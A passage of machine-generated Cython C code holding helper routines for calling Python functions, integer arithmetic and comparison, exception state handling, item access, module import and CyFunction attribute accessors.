PY_VERSION_HEX < 0x030600B1 static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, int nargs, PyObject *kwargs) { PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); PyObject *globals = PyFunction_GET_GLOBALS(func); PyObject *argdefs = PyFunction_GET_DEFAULTS(func); PyObject *closure; #if PY_MAJOR_VERSION >= 3 PyObject *kwdefs; #endif PyObject *kwtuple, **k; PyObject **d; Py_ssize_t nd; Py_ssize_t nk; PyObject *result; assert(kwargs == NULL || PyDict_Check(kwargs)); nk = kwargs ? PyDict_Size(kwargs) : 0; if (Py_EnterRecursiveCall((char*)" while calling a Python object")) { return NULL; } if ( #if PY_MAJOR_VERSION >= 3 co->co_kwonlyargcount == 0 && #endif likely(kwargs == NULL || nk == 0) && co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { if (argdefs == NULL && co->co_argcount == nargs) { result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); goto done; } else if (nargs == 0 && argdefs != NULL && co->co_argcount == Py_SIZE(argdefs)) { /* function called with no arguments, but all parameters have a default value: use default values as arguments .*/ args = &PyTuple_GET_ITEM(argdefs, 0); result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); goto done; } } if (kwargs != NULL) { Py_ssize_t pos, i; kwtuple = PyTuple_New(2 * nk); if (kwtuple == NULL) { result = NULL; goto done; } k = &PyTuple_GET_ITEM(kwtuple, 0); pos = i = 0; while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { Py_INCREF(k[i]); Py_INCREF(k[i+1]); i += 2; } nk = i / 2; } else { kwtuple = NULL; k = NULL; } closure = PyFunction_GET_CLOSURE(func); #if PY_MAJOR_VERSION >= 3 kwdefs = PyFunction_GET_KW_DEFAULTS(func); #endif if (argdefs != NULL) { d = &PyTuple_GET_ITEM(argdefs, 0); nd = Py_SIZE(argdefs); } else { d = NULL; nd = 0; } #if PY_MAJOR_VERSION >= 3 result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, args, nargs, k, (int)nk, d, (int)nd, kwdefs, closure); #else result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, args, nargs, k, (int)nk, d, (int)nd, closure); #endif Py_XDECREF(kwtuple); done: Py_LeaveRecursiveCall(); return result; } #endif // CPython < 3.6 #endif // CYTHON_FAST_PYCALL /* PyObjectCall */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { PyObject *result; ternaryfunc call = func->ob_type->tp_call; if (unlikely(!call)) return PyObject_Call(func, arg, kw); if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) return NULL; result = (*call)(func, arg, kw); Py_LeaveRecursiveCall(); if (unlikely(!result) && unlikely(!PyErr_Occurred())) { PyErr_SetString( PyExc_SystemError, "NULL result without error in PyObject_Call"); } return result; } #endif /* PyObjectCallMethO */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { PyObject *self, *result; PyCFunction cfunc; cfunc = PyCFunction_GET_FUNCTION(func); self = PyCFunction_GET_SELF(func); if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) return NULL; result = cfunc(self, arg); Py_LeaveRecursiveCall(); if (unlikely(!result) && unlikely(!PyErr_Occurred())) { PyErr_SetString( PyExc_SystemError, "NULL result without error in PyObject_Call"); } return result; } #endif /* PyObjectCallOneArg */ #if CYTHON_COMPILING_IN_CPYTHON static PyObject* __Pyx__PyObject_CallOneArg(PyObject *func, PyObject *arg) { PyObject *result; PyObject *args = PyTuple_New(1); if (unlikely(!args)) return NULL; Py_INCREF(arg); PyTuple_SET_ITEM(args, 0, arg); result = __Pyx_PyObject_Call(func, args, NULL); Py_DECREF(args); return result; } static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { #if CYTHON_FAST_PYCALL if (PyFunction_Check(func)) { return __Pyx_PyFunction_FastCall(func, &arg, 1); } #endif #ifdef __Pyx_CyFunction_USED if (likely(PyCFunction_Check(func) || PyObject_TypeCheck(func, __pyx_CyFunctionType))) { #else if (likely(PyCFunction_Check(func))) { #endif if (likely(PyCFunction_GET_FLAGS(func) & METH_O)) { return __Pyx_PyObject_CallMethO(func, arg); #if CYTHON_FAST_PYCCALL } else if (PyCFunction_GET_FLAGS(func) & METH_FASTCALL) { return __Pyx_PyCFunction_FastCall(func, &arg, 1); #endif } } return __Pyx__PyObject_CallOneArg(func, arg); } #else static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { PyObject *result; PyObject *args = PyTuple_Pack(1, arg); if (unlikely(!args)) return NULL; result = __Pyx_PyObject_Call(func, args, NULL); Py_DECREF(args); return result; } #endif /* PyObjectCallMethod1 */ static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg) { PyObject *method, *result = NULL; method = __Pyx_PyObject_GetAttrStr(obj, method_name); if (unlikely(!method)) goto done; #if CYTHON_UNPACK_METHODS if (likely(PyMethod_Check(method))) { PyObject *self = PyMethod_GET_SELF(method); if (likely(self)) { PyObject *args; PyObject *function = PyMethod_GET_FUNCTION(method); #if CYTHON_FAST_PYCALL if (PyFunction_Check(function)) { PyObject *args[2] = {self, arg}; result = __Pyx_PyFunction_FastCall(function, args, 2); goto done; } #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(function)) { PyObject *args[2] = {self, arg}; result = __Pyx_PyCFunction_FastCall(function, args, 2); goto done; } #endif args = PyTuple_New(2); if (unlikely(!args)) goto done; Py_INCREF(self); PyTuple_SET_ITEM(args, 0, self); Py_INCREF(arg); PyTuple_SET_ITEM(args, 1, arg); Py_INCREF(function); Py_DECREF(method); method = NULL; result = __Pyx_PyObject_Call(function, args, NULL); Py_DECREF(args); Py_DECREF(function); return result; } } #endif result = __Pyx_PyObject_CallOneArg(method, arg); done: Py_XDECREF(method); return result; } /* append */ static CYTHON_INLINE int __Pyx_PyObject_Append(PyObject* L, PyObject* x) { if (likely(PyList_CheckExact(L))) { if (unlikely(__Pyx_PyList_Append(L, x) < 0)) return -1; } else { PyObject* retval = __Pyx_PyObject_CallMethod1(L, __pyx_n_s_append, x); if (unlikely(!retval)) return -1; Py_DECREF(retval); } return 0; } /* GetModuleGlobalName */ static CYTHON_INLINE PyObject *__Pyx_GetModuleGlobalName(PyObject *name) { PyObject *result; #if !CYTHON_AVOID_BORROWED_REFS result = PyDict_GetItem(__pyx_d, name); if (likely(result)) { Py_INCREF(result); } else { #else result = PyObject_GetItem(__pyx_d, name); if (!result) { PyErr_Clear(); #endif result = __Pyx_GetBuiltinName(name); } return result; } /* PyObjectCallNoArg */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { #if CYTHON_FAST_PYCALL if (PyFunction_Check(func)) { return __Pyx_PyFunction_FastCall(func, NULL, 0); } #endif #ifdef __Pyx_CyFunction_USED if (likely(PyCFunction_Check(func) || PyObject_TypeCheck(func, __pyx_CyFunctionType))) { #else if (likely(PyCFunction_Check(func))) { #endif if (likely(PyCFunction_GET_FLAGS(func) & METH_NOARGS)) { return __Pyx_PyObject_CallMethO(func, NULL); } } return __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL); } #endif /* PyIntBinop */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, CYTHON_UNUSED long intval, CYTHON_UNUSED int inplace) { #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(op1))) { const long b = intval; long x; long a = PyInt_AS_LONG(op1); x = (long)((unsigned long)a + b); if (likely((x^a) >= 0 || (x^b) >= 0)) return PyInt_FromLong(x); return PyLong_Type.tp_as_number->nb_add(op1, op2); } #endif #if CYTHON_USE_PYLONG_INTERNALS if (likely(PyLong_CheckExact(op1))) { const long b = intval; long a, x; #ifdef HAVE_LONG_LONG const PY_LONG_LONG llb = intval; PY_LONG_LONG lla, llx; #endif const digit* digits = ((PyLongObject*)op1)->ob_digit; const Py_ssize_t size = Py_SIZE(op1); if (likely(__Pyx_sst_abs(size) <= 1)) { a = likely(size) ? digits[0] : 0; if (size == -1) a = -a; } else { switch (size) { case -2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case -3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case -4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } default: return PyLong_Type.tp_as_number->nb_add(op1, op2); } } x = a + b; return PyLong_FromLong(x); #ifdef HAVE_LONG_LONG long_long: llx = lla + llb; return PyLong_FromLongLong(llx); #endif } #endif if (PyFloat_CheckExact(op1)) { const long b = intval; double a = PyFloat_AS_DOUBLE(op1); double result; PyFPE_START_PROTECT("add", return NULL) result = ((double)a) + (double)b; PyFPE_END_PROTECT(result) return PyFloat_FromDouble(result); } return (inplace ? PyNumber_InPlaceAdd : PyNumber_Add)(op1, op2); } #endif /* PyIntBinop */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_EqObjC(PyObject *op1, PyObject *op2, CYTHON_UNUSED long intval, CYTHON_UNUSED int inplace) { if (op1 == op2) { Py_RETURN_TRUE; } #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(op1))) { const long b = intval; long a = PyInt_AS_LONG(op1); if (a == b) { Py_RETURN_TRUE; } else { Py_RETURN_FALSE; } } #endif #if CYTHON_USE_PYLONG_INTERNALS if (likely(PyLong_CheckExact(op1))) { const long b = intval; long a; const digit* digits = ((PyLongObject*)op1)->ob_digit; const Py_ssize_t size = Py_SIZE(op1); if (likely(__Pyx_sst_abs(size) <= 1)) { a = likely(size) ? digits[0] : 0; if (size == -1) a = -a; } else { switch (size) { case -2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case 2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case -3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case 3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case -4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case 4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } #if PyLong_SHIFT < 30 && PyLong_SHIFT != 15 default: return PyLong_Type.tp_richcompare(op1, op2, Py_EQ); #else default: Py_RETURN_FALSE; #endif } } if (a == b) { Py_RETURN_TRUE; } else { Py_RETURN_FALSE; } } #endif if (PyFloat_CheckExact(op1)) { const long b = intval; double a = PyFloat_AS_DOUBLE(op1); if ((double)a == (double)b) { Py_RETURN_TRUE; } else { Py_RETURN_FALSE; } } return PyObject_RichCompare(op1, op2, Py_EQ); } #endif /* SaveResetException */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { *type = tstate->exc_type; *value = tstate->exc_value; *tb = tstate->exc_traceback; Py_XINCREF(*type); Py_XINCREF(*value); Py_XINCREF(*tb); } static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; tmp_type = tstate->exc_type; tmp_value = tstate->exc_value; tmp_tb = tstate->exc_traceback; tstate->exc_type = type; tstate->exc_value = value; tstate->exc_traceback = tb; Py_XDECREF(tmp_type); Py_XDECREF(tmp_value); Py_XDECREF(tmp_tb); } #endif /* PyErrExceptionMatches */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err) { PyObject *exc_type = tstate->curexc_type; if (exc_type == err) return 1; if (unlikely(!exc_type)) return 0; return PyErr_GivenExceptionMatches(exc_type, err); } #endif /* GetException */ #if CYTHON_FAST_THREAD_STATE static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { #else static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb) { #endif PyObject *local_type, *local_value, *local_tb; #if CYTHON_FAST_THREAD_STATE PyObject *tmp_type, *tmp_value, *tmp_tb; local_type = tstate->curexc_type; local_value = tstate->curexc_value; local_tb = tstate->curexc_traceback; tstate->curexc_type = 0; tstate->curexc_value = 0; tstate->curexc_traceback = 0; #else PyErr_Fetch(&local_type, &local_value, &local_tb); #endif PyErr_NormalizeException(&local_type, &local_value, &local_tb); #if CYTHON_FAST_THREAD_STATE if (unlikely(tstate->curexc_type)) #else if (unlikely(PyErr_Occurred())) #endif goto bad; #if PY_MAJOR_VERSION >= 3 if (local_tb) { if (unlikely(PyException_SetTraceback(local_value, local_tb) < 0)) goto bad; } #endif Py_XINCREF(local_tb); Py_XINCREF(local_type); Py_XINCREF(local_value); *type = local_type; *value = local_value; *tb = local_tb; #if CYTHON_FAST_THREAD_STATE tmp_type = tstate->exc_type; tmp_value = tstate->exc_value; tmp_tb = tstate->exc_traceback; tstate->exc_type = local_type; tstate->exc_value = local_value; tstate->exc_traceback = local_tb; Py_XDECREF(tmp_type); Py_XDECREF(tmp_value); Py_XDECREF(tmp_tb); #else PyErr_SetExcInfo(local_type, local_value, local_tb); #endif return 0; bad: *type = 0; *value = 0; *tb = 0; Py_XDECREF(local_type); Py_XDECREF(local_value); Py_XDECREF(local_tb); return -1; } /* PyErrFetchRestore */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; tmp_type = tstate->curexc_type; tmp_value = tstate->curexc_value; tmp_tb = tstate->curexc_traceback; tstate->curexc_type = type; tstate->curexc_value = value; tstate->curexc_traceback = tb; Py_XDECREF(tmp_type); Py_XDECREF(tmp_value); Py_XDECREF(tmp_tb); } static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { *type = tstate->curexc_type; *value = tstate->curexc_value; *tb = tstate->curexc_traceback; tstate->curexc_type = 0; tstate->curexc_value = 0; tstate->curexc_traceback = 0; } #endif /* SwapException */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; tmp_type = tstate->exc_type; tmp_value = tstate->exc_value; tmp_tb = tstate->exc_traceback; tstate->exc_type = *type; tstate->exc_value = *value; tstate->exc_traceback = *tb; *type = tmp_type; *value = tmp_value; *tb = tmp_tb; } #else static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; PyErr_GetExcInfo(&tmp_type, &tmp_value, &tmp_tb); PyErr_SetExcInfo(*type, *value, *tb); *type = tmp_type; *value = tmp_value; *tb = tmp_tb; } #endif /* GetItemInt */ static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j) { PyObject *r; if (!j) return NULL; r = PyObject_GetItem(o, j); Py_DECREF(j); return r; } static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, CYTHON_NCP_UNUSED int wraparound, CYTHON_NCP_UNUSED int boundscheck) { #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS if (wraparound & unlikely(i < 0)) i += PyList_GET_SIZE(o); if ((!boundscheck) || likely((0 <= i) & (i < PyList_GET_SIZE(o)))) { PyObject *r = PyList_GET_ITEM(o, i); Py_INCREF(r); return r; } return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); #else return PySequence_GetItem(o, i); #endif } static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, CYTHON_NCP_UNUSED int wraparound, CYTHON_NCP_UNUSED int boundscheck) { #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS if (wraparound & unlikely(i < 0)) i += PyTuple_GET_SIZE(o); if ((!boundscheck) || likely((0 <= i) & (i < PyTuple_GET_SIZE(o)))) { PyObject *r = PyTuple_GET_ITEM(o, i); Py_INCREF(r); return r; } return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); #else return PySequence_GetItem(o, i); #endif } static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, CYTHON_NCP_UNUSED int wraparound, CYTHON_NCP_UNUSED int boundscheck) { #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS && CYTHON_USE_TYPE_SLOTS if (is_list || PyList_CheckExact(o)) { Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyList_GET_SIZE(o); if ((!boundscheck) || (likely((n >= 0) & (n < PyList_GET_SIZE(o))))) { PyObject *r = PyList_GET_ITEM(o, n); Py_INCREF(r); return r; } } else if (PyTuple_CheckExact(o)) { Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyTuple_GET_SIZE(o); if ((!boundscheck) || likely((n >= 0) & (n < PyTuple_GET_SIZE(o)))) { PyObject *r = PyTuple_GET_ITEM(o, n); Py_INCREF(r); return r; } } else { PySequenceMethods *m = Py_TYPE(o)->tp_as_sequence; if (likely(m && m->sq_item)) { if (wraparound && unlikely(i < 0) && likely(m->sq_length)) { Py_ssize_t l = m->sq_length(o); if (likely(l >= 0)) { i += l; } else { if (!PyErr_ExceptionMatches(PyExc_OverflowError)) return NULL; PyErr_Clear(); } } return m->sq_item(o, i); } } #else if (is_list || PySequence_Check(o)) { return PySequence_GetItem(o, i); } #endif return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); } /* Import */ static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { PyObject *empty_list = 0; PyObject *module = 0; PyObject *global_dict = 0; PyObject *empty_dict = 0; PyObject *list; #if PY_VERSION_HEX < 0x03030000 PyObject *py_import; py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); if (!py_import) goto bad; #endif if (from_list) list = from_list; else { empty_list = PyList_New(0); if (!empty_list) goto bad; list = empty_list; } global_dict = PyModule_GetDict(__pyx_m); if (!global_dict) goto bad; empty_dict = PyDict_New(); if (!empty_dict) goto bad; { #if PY_MAJOR_VERSION >= 3 if (level == -1) { if (strchr(__Pyx_MODULE_NAME, '.')) { #if PY_VERSION_HEX < 0x03030000 PyObject *py_level = PyInt_FromLong(1); if (!py_level) goto bad; module = PyObject_CallFunctionObjArgs(py_import, name, global_dict, empty_dict, list, py_level, NULL); Py_DECREF(py_level); #else module = PyImport_ImportModuleLevelObject( name, global_dict, empty_dict, list, 1); #endif if (!module) { if (!PyErr_ExceptionMatches(PyExc_ImportError)) goto bad; PyErr_Clear(); } } level = 0; } #endif if (!module) { #if PY_VERSION_HEX < 0x03030000 PyObject *py_level = PyInt_FromLong(level); if (!py_level) goto bad; module = PyObject_CallFunctionObjArgs(py_import, name, global_dict, empty_dict, list, py_level, NULL); Py_DECREF(py_level); #else module = PyImport_ImportModuleLevelObject( name, global_dict, empty_dict, list, level); #endif } } bad: #if PY_VERSION_HEX < 0x03030000 Py_XDECREF(py_import); #endif Py_XDECREF(empty_list); Py_XDECREF(empty_dict); return module; } /* ImportFrom */ static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { PyErr_Format(PyExc_ImportError, #if PY_MAJOR_VERSION < 3 "cannot import name %.230s", PyString_AS_STRING(name)); #else "cannot import name %S", name); #endif } return value; } /* FetchCommonType */ static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { PyObject* fake_module; PyTypeObject* cached_type = NULL; fake_module = PyImport_AddModule((char*) "_cython_" CYTHON_ABI); if (!fake_module) return NULL; Py_INCREF(fake_module); cached_type = (PyTypeObject*) PyObject_GetAttrString(fake_module, type->tp_name); if (cached_type) { if (!PyType_Check((PyObject*)cached_type)) { PyErr_Format(PyExc_TypeError, "Shared Cython type %.200s is not a type object", type->tp_name); goto bad; } if (cached_type->tp_basicsize != type->tp_basicsize) { PyErr_Format(PyExc_TypeError, "Shared Cython type %.200s has the wrong size, try recompiling", type->tp_name); goto bad; } } else { if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; PyErr_Clear(); if (PyType_Ready(type) < 0) goto bad; if (PyObject_SetAttrString(fake_module, type->tp_name, (PyObject*) type) < 0) goto bad; Py_INCREF(type); cached_type = type; } done: Py_DECREF(fake_module); return cached_type; bad: Py_XDECREF(cached_type); cached_type = NULL; goto done; } /* CythonFunction */ static PyObject * __Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, CYTHON_UNUSED void *closure) { if (unlikely(op->func_doc == NULL)) { if (op->func.m_ml->ml_doc) { #if PY_MAJOR_VERSION >= 3 op->func_doc = PyUnicode_FromString(op->func.m_ml->ml_doc); #else op->func_doc = PyString_FromString(op->func.m_ml->ml_doc); #endif if (unlikely(op->func_doc == NULL)) return NULL; } else { Py_INCREF(Py_None); return Py_None; } } Py_INCREF(op->func_doc); return op->func_doc; } static int __Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp = op->func_doc; if (value == NULL) { value = Py_None; } Py_INCREF(value); op->func_doc = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op) { if (unlikely(op->func_name == NULL)) { #if PY_MAJOR_VERSION >= 3 op->func_name = PyUnicode_InternFromString(op->func.m_ml->ml_name); #else op->func_name = PyString_InternFromString(op->func.m_ml->ml_name); #endif if (unlikely(op->func_name == NULL)) return NULL; } Py_INCREF(op->func_name); return op->func_name; } static int __Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; #if PY_MAJOR_VERSION >= 3 if (unlikely(value == NULL || !PyUnicode_Check(value))) { #else if (unlikely(value == NULL || !PyString_Check(value))) { #endif PyErr_SetString(PyExc_TypeError, "__name__ must be set to a string object"); return -1; } tmp = op->func_name; Py_INCREF(value); op->func_name = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op) { Py_INCREF(op->func_qualname); return op->func_qualname; } static int __Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; #if PY_MAJOR_VERSION >= 3 if (unlikely(value == NULL || !PyUnicode_Check(value))) { #else if (unlikely(value == NULL || !PyString_Check(value))) { #endif PyErr_SetString(PyExc_TypeError, "__qualname__ must be set to a string object"); return -1; } tmp = op->func_qualname; Py_INCREF(value); op->func_qualname = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_self(__pyx_CyFunctionObject *m, CYTHON_UNUSED void *closure) { PyObject *self; self = m->func_closure; if (self == NULL) self = Py_None; Py_INCREF(self); return self; } static PyObject * __Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op) { if (unlikely(op->func_dict == NULL)) { op->func_dict = PyDict_New(); if (unlikely(op->func_dict == NULL)) return NULL; } Py_INCREF(op->func_dict); return op->func_dict; } static int __Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; if (unlikely(value == NULL)) { PyErr_SetString(PyExc_TypeError, "function's dictionary may not be deleted"); return -1; } if (unlikely(!PyDict_Check(value))) { PyErr_SetString(PyExc_TypeError, "setting function's dictionary to a non-dict"); return -1; } tmp = op->func_dict; Py_INCREF(value); op->func_dict = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op) { Py_INCREF(op->func_globals); return op->func_globals; } static PyObject * __Pyx_CyFunction_get_closure(CYTHON_UNUSED __pyx_CyFunctionObject *op) { Py_INCREF(Py_None); return Py_None; } static PyObject * __Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op) { PyObject* result = (op->func_code) ? op->func_code : Py_None; Py_INCREF(result); return result; } static int __Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { int result = 0; PyObject *res = op->defaults_getter((PyObject *) op); if (unlikely(!res)) return -1; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS op->defaults_tuple = PyTuple_GET_ITEM(res, 0); Py_INCREF(op->defaults_tuple); op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); Py_INCREF(op->defaults_kwdict); #else op->defaults_tuple = PySequence_ITEM(res, 0); if (unlikely(!op->defaults_tuple)) result = -1; else { op->defaults_kwdict = PySequence_ITEM(res, 1); if (unlikely(!op->defaults_kwdict)) result = -1; } #endif Py_DECREF(res); return result; } static int __Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value) { value = Py_None; } else if (value != Py_None && !PyTuple_Check(value)) { PyErr_SetString(PyExc_TypeError, "__defaults__ must be set to a tuple object"); return -1; } Py_INCREF(value); tmp = op->defaults_tuple; op->defaults_tuple = value; Py_XDECREF(tmp); return 